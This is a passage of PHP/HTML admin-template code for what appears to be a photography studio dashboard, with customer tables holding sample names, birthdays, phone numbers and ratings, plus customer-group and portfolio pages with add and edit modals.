<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal"
class="btn btn-teal btn-sm"><i class="fas fa-users"></i> Add to group</a></td>
</tr>
<tr>
<td class="text-center">Mina</td>
<td class="text-center">Noori</td>
<td class="text-center">Female</td>
<td class="text-center">12/6/1379</td>
<td class="text-center">+98 912 944 9756</td>
<td class="text-center">021 11706689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-danger"></i></label>
<label><i class="fa fa-star"></i></label>
<label><i class="fa fa-star"></i></label>
<label><i class="fa fa-star"></i></label>
<label><i class="fa fa-star"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal"
class="btn btn-teal btn-sm"><i class="fas fa-users"></i> Add to group</a></td>
</tr>
<tr>
<td class="text-center">John</td>
<td class="text-center">Rezaian</td>
<td class="text-center">Male</td>
<td class="text-center">7/1/1373</td>
<td class="text-center">+98 921 557 9885</td>
<td class="text-center">021 44696689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal"
class="btn btn-teal btn-sm"><i class="fas fa-users"></i> Add to group</a></td>
</tr>
<tr>
<td class="text-center">Mohsen</td>
<td class="text-center">Afsharzade</td>
<td class="text-center">Male</td>
<td class="text-center">21/6/1368</td>
<td class="text-center">+98 933 944 9756</td>
<td class="text-center">021 66706689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal"
class="btn btn-teal btn-sm"><i class="fas fa-users"></i> Add to group</a></td>
</tr>
<tr>
<td class="text-center">Mohsen</td>
<td class="text-center">Afsharzade</td>
<td class="text-center">Male</td>
<td class="text-center">21/6/1368</td>
<td class="text-center">+98 933 944 9756</td>
<td class="text-center">021 66706689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal"
class="btn btn-teal btn-sm"><i class="fas fa-users"></i> Add to group</a></td>
</tr>
<tr>
<td class="text-center">Mina</td>
<td class="text-center">Noori</td>
<td class="text-center">Female</td>
<td class="text-center">12/6/1379</td>
<td class="text-center">+98 912 944 9756</td>
<td class="text-center">021 11706689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-danger"></i></label>
<label><i class="fa fa-star"></i></label>
<label><i class="fa fa-star"></i></label>
<label><i class="fa fa-star"></i></label>
<label><i class="fa fa-star"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal"
class="btn btn-teal btn-sm"><i class="fas fa-users"></i> Add to group</a></td>
</tr>
<tr>
<td class="text-center">John</td>
<td class="text-center">Rezaian</td>
<td class="text-center">Male</td>
<td class="text-center">7/1/1373</td>
<td class="text-center">+98 921 557 9885</td>
<td class="text-center">021 44696689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal"
class="btn btn-teal btn-sm"><i class="fas fa-users"></i> Add to group</a></td>
</tr>
<tr>
<td class="text-center">Mohsen</td>
<td class="text-center">Afsharzade</td>
<td class="text-center">Male</td>
<td class="text-center">21/6/1368</td>
<td class="text-center">+98 933 944 9756</td>
<td class="text-center">021 66706689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal"
class="btn btn-teal btn-sm"><i class="fas fa-users"></i> Add to group</a></td>
</tr>
<tr>
<td class="text-center">Mohsen</td>
<td class="text-center">Afsharzade</td>
<td class="text-center">Male</td>
<td class="text-center">21/6/1368</td>
<td class="text-center">+98 933 944 9756</td>
<td class="text-center">021 66706689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal"
class="btn btn-teal btn-sm"><i class="fas fa-users"></i> Add to group</a></td>
</tr>
<tr>
<td class="text-center">Mina</td>
<td class="text-center">Noori</td>
<td class="text-center">Female</td>
<td class="text-center">12/6/1379</td>
<td class="text-center">+98 912 944 9756</td>
<td class="text-center">021 11706689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-danger"></i></label>
<label><i class="fa fa-star"></i></label>
<label><i class="fa fa-star"></i></label>
<label><i class="fa fa-star"></i></label>
<label><i class="fa fa-star"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal"
class="btn btn-teal btn-sm"><i class="fas fa-users"></i> Add to group</a></td>
</tr>
<tr>
<td class="text-center">John</td>
<td class="text-center">Rezaian</td>
<td class="text-center">Male</td>
<td class="text-center">7/1/1373</td>
<td class="text-center">+98 921 557 9885</td>
<td class="text-center">021 44696689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal"
class="btn btn-teal btn-sm"><i class="fas fa-users"></i> Add to group</a></td>
</tr>
<tr>
<td class="text-center">Mohsen</td>
<td class="text-center">Afsharzade</td>
<td class="text-center">Male</td>
<td class="text-center">21/6/1368</td>
<td class="text-center">+98 933 944 9756</td>
<td class="text-center">021 66706689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal"
class="btn btn-teal btn-sm"><i class="fas fa-users"></i> Add to group</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<!-- table-wrapper -->
</div>
<!-- section-wrapper -->
</div>
</div>
<div class="row">
<div class="col-md-12 col-lg-12">
<div class="card">
<div class="card-header">
<div class="card-title">Customer Group Number 1</div>
</div>
<div class="card-body">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Name</th>
<th class="wd-15p border-bottom-0 text-center">Family</th>
<th class="wd-10p border-bottom-0 text-center">Gender</th>
<th class="wd-10p border-bottom-0 text-center">Birthday</th>
<th class="wd-15p border-bottom-0 text-center">Mobile number</th>
<th class="wd-15p border-bottom-0 text-center">Static phone</th>
<th class="wd-25p border-bottom-0 text-center">City</th>
<th class="wd-25p border-bottom-0 text-center">Branch</th>
<th class="wd-20p border-bottom-0 text-center">Grade</th>
<th class="border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Mohsen</td>
<td class="text-center">Afsharzade</td>
<td class="text-center">Male</td>
<td class="text-center">21/6/1368</td>
<td class="text-center">+98 933 944 9756</td>
<td class="text-center">021 66706689</td>
<td class="text-center">Tehran</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="#" class="btn btn-sm btn-danger "><i class="fas fa-trash mr-1"></i>Delete</a>
</td>
</tr>
<tr>
<td class="text-center">Mina</td>
<td class="text-center">Noori</td>
<td class="text-center">Female</td>
<td class="text-center">12/6/1379</td>
<td class="text-center">+98 912 944 9756</td>
<td class="text-center">021 11706689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-danger"></i></label>
<label><i class="fa fa-star"></i></label>
<label><i class="fa fa-star"></i></label>
<label><i class="fa fa-star"></i></label>
<label><i class="fa fa-star"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="#" class="btn btn-sm btn-danger "><i class="fas fa-trash mr-1"></i>Delete</a>
</td>
</tr>
<tr>
<td class="text-center">John</td>
<td class="text-center">Rezaian</td>
<td class="text-center">Male</td>
<td class="text-center">7/1/1373</td>
<td class="text-center">+98 921 557 9885</td>
<td class="text-center">021 44696689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="#" class="btn btn-sm btn-danger "><i class="fas fa-trash mr-1"></i>Delete</a>
</td>
</tr>
<tr>
<td class="text-center">Mohsen</td>
<td class="text-center">Afsharzade</td>
<td class="text-center">Male</td>
<td class="text-center">21/6/1368</td>
<td class="text-center">+98 933 944 9756</td>
<td class="text-center">021 66706689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="#" class="btn btn-sm btn-danger "><i class="fas fa-trash mr-1"></i>Delete</a>
</td>
</tr>
<tr>
<td class="text-center">John</td>
<td class="text-center">Rezaian</td>
<td class="text-center">Male</td>
<td class="text-center">7/1/1373</td>
<td class="text-center">+98 921 557 9885</td>
<td class="text-center">021 44696689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="#" class="btn btn-sm btn-danger "><i class="fas fa-trash mr-1"></i>Delete</a>
</td>
</tr>
<tr>
<td class="text-center">Mohsen</td>
<td class="text-center">Afsharzade</td>
<td class="text-center">Male</td>
<td class="text-center">21/6/1368</td>
<td class="text-center">+98 933 944 9756</td>
<td class="text-center">021 66706689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="#" class="btn btn-sm btn-danger "><i class="fas fa-trash mr-1"></i>Delete</a>
</td>
</tr>
<tr>
<td class="text-center">Mohsen</td>
<td class="text-center">Afsharzade</td>
<td class="text-center">Male</td>
<td class="text-center">21/6/1368</td>
<td class="text-center">+98 933 944 9756</td>
<td class="text-center">021 66706689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="#" class="btn btn-sm btn-danger "><i class="fas fa-trash mr-1"></i>Delete</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<!-- table-wrapper -->
</div>
<!-- section-wrapper -->
</div>
</div>
<!-- Message Modal -->
<div class="modal fade" id="edit-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3-1">New Customer Group</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="panel panel-primary ">
<div class=" border-0">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class=""><a href="#tab1-1" class="active font-weight-bold" data-toggle="tab">Basic Info</a></li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-left-0 border-right-0 border-bottom-0">
<div class="tab-content">
<div class="tab-pane active " id="tab1-1">
<div class="row mt-3">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Group name :</label>
</div>
<div class="col-lg-9">
<div class="form-group">
<input type="text" class="form-control" name="topic"
placeholder="">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary"><i class="fas fa-check"></i>
Save
</button>
</div>
</div>
</div>
</div>
<?php
$scripts = [
'/assets/js/morris.js',
'/assets/plugins/morris/morris.min.js',
'/assets/plugins/morris/raphael.min.js',
'/assets/plugins/chartist/chartist.js',
'/assets/plugins/chartist/chart.chartist.js',
'/assets/plugins/chartist/chartist-plugin-tooltip.js',
'/assets/plugins/multipleselect/multiple-select.js',
'/assets/plugins/multipleselect/multi-select.js',
'/assets/plugins/select2/select2.full.min.js',
];
?>
<file_sep><!--Page Header-->
<div class="mb-5">
<div class="page-header mb-0">
<h4 class="page-title">Portfolio Overview</h4>
<div class="row">
<div class="col-12">
<button type="button" class="btn btn-outline-success" data-toggle="modal" data-target="#add-modal"><i
class="fas fa-plus"></i></button>
</div>
</div>
</div>
</div>
<!--page header end-->
<div class="row">
<div class="col-xl-12 col-lg-12 col-md-12 d-flex justify-content-center">
<img class="d-block img-fluid mr-2 mb-3 shadow" src="../assets/images/photos/z1- Copy.jpg" alt="">
<img class="d-block img-fluid mr-1 mt-3 shadow" src="../assets/images/photos/z2 - Copy.jpg" alt="">
<img class="d-block img-fluid mr-2 mb-4 shadow" src="../assets/images/photos/z3 - Copy.jpg" alt="">
<img class="d-block img-fluid mr-1 mb-1 mt-3 shadow" src="../assets/images/photos/z4 - Copy.jpg" alt="">
<img class="d-block img-fluid mr-2 mt-4 shadow" src="../assets/images/photos/z5 - Copy.jpg" alt="">
<img class="d-block img-fluid mr-1 mt-2 shadow" src="../assets/images/photos/z6 - Copy.jpg" alt="">
<img class="d-block img-fluid mr-2 mb-3 shadow" src="../assets/images/photos/z7 - Copy.jpg" alt="">
<img class="d-block img-fluid mr-1 mt-3 shadow" src="../assets/images/photos/z8 - Copy.jpg" alt="">
</div>
</div>
<div class="row mt-8">
<div class="col-xl-3 col-lg-6 col-md-12 ">
<div class="card shadow">
<div class="card-body text-center">
<div class="feature-1">
<div class="fs-50 mb-3">
<i class="si si-diamond text-pink"></i>
</div>
<h4>Wedding</h4>
<p class="mb-0 font-weight-bold text-muted">2500 Photos </p>
</div>
</div>
<div class="card-footer p-0 bg-gradient-indigo rounded-bottom">
<div class="row">
<div class="col-sm-6 border-right ">
<div class="description-block">
<a href="/portfolio-view" class=" btn btn-sm btn-block font-weight-extrabold text-white"><i class="fas fa-eye mr-1"></i>View</a>
</div>
</div>
<div class="col-sm-6">
<div class="description-block">
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-sm btn-block font-weight-extrabold text-white"><i class="fas fa-pen mr-1"></i>Edit</a>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12 ">
<div class="card shadow">
<div class="card-body text-center">
<div class="feature-1">
<div class="fs-50 mb-3">
<i class="si si-social-soundcloud text-info"></i>
</div>
<h4>Maternity</h4>
<p class="mb-0 font-weight-bold text-muted">630 Photos </p>
</div>
</div>
<div class="card-footer p-0 bg-gradient-cyan rounded-bottom">
<div class="row">
<div class="col-sm-6 border-right ">
<div class="description-block">
<a href="/portfolio-view" class=" btn btn-sm btn-block font-weight-extrabold text-white"><i class="fas fa-eye mr-1"></i>View</a>
</div>
</div>
<div class="col-sm-6">
<div class="description-block">
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-sm btn-block font-weight-extrabold text-white"><i class="fas fa-pen mr-1"></i>Edit</a>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12 ">
<div class="card shadow">
<div class="card-body text-center">
<div class="feature-1">
<div class="fs-50 mb-3">
<i class="si si-present text-red"></i>
</div>
<h4>Birthday</h4>
<p class="mb-0 font-weight-bold text-muted">2100 Photos </p>
</div>
</div>
<div class="card-footer p-0 bg-gradient-red rounded-bottom">
<div class="row">
<div class="col-sm-6 border-right ">
<div class="description-block">
<a href="/portfolio-view" class=" btn btn-sm btn-block font-weight-extrabold text-white"><i class="fas fa-eye mr-1"></i>View</a>
</div>
</div>
<div class="col-sm-6">
<div class="description-block">
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-sm btn-block font-weight-extrabold text-white"><i class="fas fa-pen mr-1"></i>Edit</a>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12 ">
<div class="card shadow">
<div class="card-body text-center">
<div class="feature-1">
<div class="fs-50 mb-3">
<i class="si si-social-reddit text-lightpink-red"></i>
</div>
<h4>Newborn</h4>
<p class="mb-0 font-weight-bold text-muted">2500 Photos </p>
</div>
</div>
<div class="card-footer p-0 bg-gradient-pink rounded-bottom">
<div class="row">
<div class="col-sm-6 border-right ">
<div class="description-block">
<a href="/portfolio-view" class=" btn btn-sm btn-block font-weight-extrabold text-white"><i class="fas fa-eye mr-1"></i>View</a>
</div>
</div>
<div class="col-sm-6">
<div class="description-block">
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-sm btn-block font-weight-extrabold text-white"><i class="fas fa-pen mr-1"></i>Edit</a>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12 ">
<div class="card shadow">
<div class="card-body text-center">
<div class="feature-1">
<div class="fs-50 mb-3">
<i class="si si-pie-chart text-orange"></i>
</div>
<h4>Engagement</h4>
<p class="mb-0 font-weight-bold text-muted">2500 Photos </p>
</div>
</div>
<div class="card-footer p-0 bg-gradient-orange rounded-bottom">
<div class="row">
<div class="col-sm-6 border-right ">
<div class="description-block">
<a href="/portfolio-view" class=" btn btn-sm btn-block font-weight-extrabold text-white"><i class="fas fa-eye mr-1"></i>View</a>
</div>
</div>
<div class="col-sm-6">
<div class="description-block">
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-sm btn-block font-weight-extrabold text-white"><i class="fas fa-pen mr-1"></i>Edit</a>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12 ">
<div class="card shadow">
<div class="card-body text-center">
<div class="feature-1">
<div class="fs-50 mb-3">
<i class="si si-mustache text-primary"></i>
</div>
<h4>Formality</h4>
<p class="mb-0 font-weight-bold text-muted">5320 Photos </p>
</div>
</div>
<div class="card-footer p-0 bg-gradient-primary rounded-bottom">
<div class="row">
<div class="col-sm-6 border-right ">
<div class="description-block">
<a href="/portfolio-view" class=" btn btn-sm btn-block font-weight-extrabold text-white"><i class="fas fa-eye mr-1"></i>View</a>
</div>
</div>
<div class="col-sm-6">
<div class="description-block">
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-sm btn-block font-weight-extrabold text-white"><i class="fas fa-pen mr-1"></i>Edit</a>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12 ">
<div class="card shadow">
<div class="card-body text-center">
<div class="feature-1">
<div class="fs-50 mb-3">
<i class="si si-umbrella text-teal"></i>
</div>
<h4>Nature</h4>
<p class="mb-0 font-weight-bold text-muted">1200 Photos </p>
</div>
</div>
<div class="card-footer p-0 bg-gradient-teal rounded-bottom">
<div class="row">
<div class="col-sm-6 border-right ">
<div class="description-block">
<a href="/portfolio-view" class=" btn btn-sm btn-block font-weight-extrabold text-white"><i class="fas fa-eye mr-1"></i>View</a>
</div>
</div>
<div class="col-sm-6">
<div class="description-block">
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-sm btn-block font-weight-extrabold text-white"><i class="fas fa-pen mr-1"></i>Edit</a>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12 ">
<div class="card shadow">
<div class="card-body text-center">
<div class="feature-1">
<div class="fs-50 mb-3">
<i class="si si-magic-wand text-purple"></i>
</div>
<h4>Party</h4>
<p class="mb-0 font-weight-bold text-muted">2500 Photos </p>
</div>
</div>
<div class="card-footer p-0 bg-gradient-purple rounded-bottom">
<div class="row">
<div class="col-sm-6 border-right ">
<div class="description-block">
<a href="/portfolio-view" class=" btn btn-sm btn-block font-weight-extrabold text-white"><i class="fas fa-eye mr-1"></i>View</a>
</div>
</div>
<div class="col-sm-6">
<div class="description-block">
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-sm btn-block font-weight-extrabold text-white"><i class="fas fa-pen mr-1"></i>Edit</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Message Modal -->
<div class="modal fade" id="add-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3-1">New Portfolio</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="panel panel-primary ">
<div class=" border-0">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class=""><a href="#tab1-1" class="active font-weight-bold" data-toggle="tab">Basic Info</a></li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-left-0 border-right-0 border-bottom-0">
<div class="tab-content">
<div class="tab-pane active " id="tab1-1">
<div class="row mt-3">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Portfolio Name :</label>
</div>
<div class="col-lg-9">
<div class="form-group">
<input type="text" class="form-control" name="topic"
placeholder="">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary"><i class="fas fa-check"></i> Save</button>
</div>
</div>
</div>
</div>
<div class="modal fade" id="edit-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3-1">Edit Portfolio</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="panel panel-primary ">
<div class=" border-0">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class=""><a href="#tab1-2" class="active font-weight-bold" data-toggle="tab">Basic Info</a></li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-left-0 border-right-0 border-bottom-0">
<div class="tab-content">
<div class="tab-pane active " id="tab1-2">
<div class="row mt-3">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Portfolio Name :</label>
</div>
<div class="col-lg-9">
<div class="form-group">
<input type="text" class="form-control" name="topic"
placeholder="">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary"><i class="fas fa-check"></i> Save</button>
</div>
</div>
</div>
</div>
<?php
$scripts = [
'/assets/js/morris.js',
'/assets/plugins/morris/morris.min.js',
'/assets/plugins/morris/raphael.min.js',
'/assets/plugins/chartist/chartist.js',
